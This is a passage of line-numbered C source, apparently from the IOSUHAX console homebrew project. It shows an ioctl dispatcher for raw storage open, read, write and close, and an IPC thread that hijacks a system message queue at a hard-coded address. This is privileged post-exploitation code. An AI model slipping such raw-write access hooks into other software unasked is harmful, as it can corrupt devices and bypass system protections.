IOCTL_FSA_RAW_OPEN: 373 | { 374 | int fd = message->ioctl.buffer_in[0]; 375 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 376 | 377 | message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); 378 | break; 379 | } 380 | case IOCTL_FSA_RAW_READ: 381 | { 382 | int fd = message->ioctl.buffer_in[0]; 383 | u32 block_size = message->ioctl.buffer_in[1]; 384 | u32 cnt = message->ioctl.buffer_in[2]; 385 | u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; 386 | int deviceHandle = message->ioctl.buffer_in[5]; 387 | 388 | message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); 389 | break; 390 | } 391 | case IOCTL_FSA_RAW_WRITE: 392 | { 393 | int fd = message->ioctl.buffer_in[0]; 394 | u32 block_size = message->ioctl.buffer_in[1]; 395 | u32 cnt = message->ioctl.buffer_in[2]; 396 | u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; 397 | int deviceHandle = message->ioctl.buffer_in[5]; 398 | 399 | message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); 400 | break; 401 | } 402 | case IOCTL_FSA_RAW_CLOSE: 403 | { 404 | int fd = message->ioctl.buffer_in[0]; 405 | int deviceHandle = message->ioctl.buffer_in[1]; 406 | 407 | message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); 408 | break; 409 | } 410 | case IOCTL_FSA_CHANGEMODE: 411 | { 412 | int fd = message->ioctl.buffer_in[0]; 413 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 414 | int mode = message->ioctl.buffer_in[2]; 415 | 416 | message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); 417 | break; 418 | } 419 | case IOCTL_CHECK_IF_IOSUHAX: 420 | { 421 | message->ioctl.buffer_io[0] = IOSUHAX_MAGIC_WORD; 422 | break; 423 | } 424 | default: 425 | res = IOS_ERROR_INVALID_ARG; 426 | break; 427 | } 428 | 429 | return res; 430 | } 431 | 432 | int ipc_thread(void *arg) 433 | { 434 | int res; 435 | ipcmessage *message; 436 | /*u32* messageQueue = svcAllocAlign(0xCAFF, 0x20, 0x20); 437 | int queueId = svcCreateMessageQueue(messageQueue, 0x10);*/ 438 | // mcp main thread message queue listening on "/dev/mcp" 439 | int queueId = *(int*)0x5070AEC; 440 | int exit = 0; 441 | while(!exit) 442 | { 443 | res = svcReceiveMessage(queueId, &message, 0); 444 | if(res < 0) 445 | { 446 | usleep(10000); 447 | continue; 448 | } 449 | 450 | switch(message->command) 451 | { 452 | case IOS_OPEN: 453 | { 454 | //log_printf("IOS_OPEN\n"); 455 | res = 0; 456 | break; 457 | } 458 | case IOS_CLOSE: 459 | { 460 | //log_printf("IOS_CLOSE\n"); 461 | exit = 1; 462 | res = 0; 463 | break; 464 | } 465 | case IOS_IOCTL: 466 | { 467 | //log_printf("IOS_IOCTL\n"); 468 | res = ipc_ioctl(message); 469 | break; 470 | } 471 | case IOS_IOCTLV: 472 | { 473 | //log_printf("IOS_IOCTLV\n"); 474 | res = 0; 475 | break; 476 | } 477 | default: 478 | { 479 | //log_printf("unexpected command 0x%X\n", message->command); 480 | res = IOS_ERROR_UNKNOWN_VALUE; 481 | break; 482 | } 483 | } 484 | 485 | svcResourceReply(message, res); 486 | } 487 | 488 | return res; 489 | } 490 | 491 | /*void ipc_init(void) 492 | { 493 | int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); 494 | if(threadId >= 0) 495 | svcStartThread(threadId); 496 | }*/ 497 | --------------------------------------------------------------------------------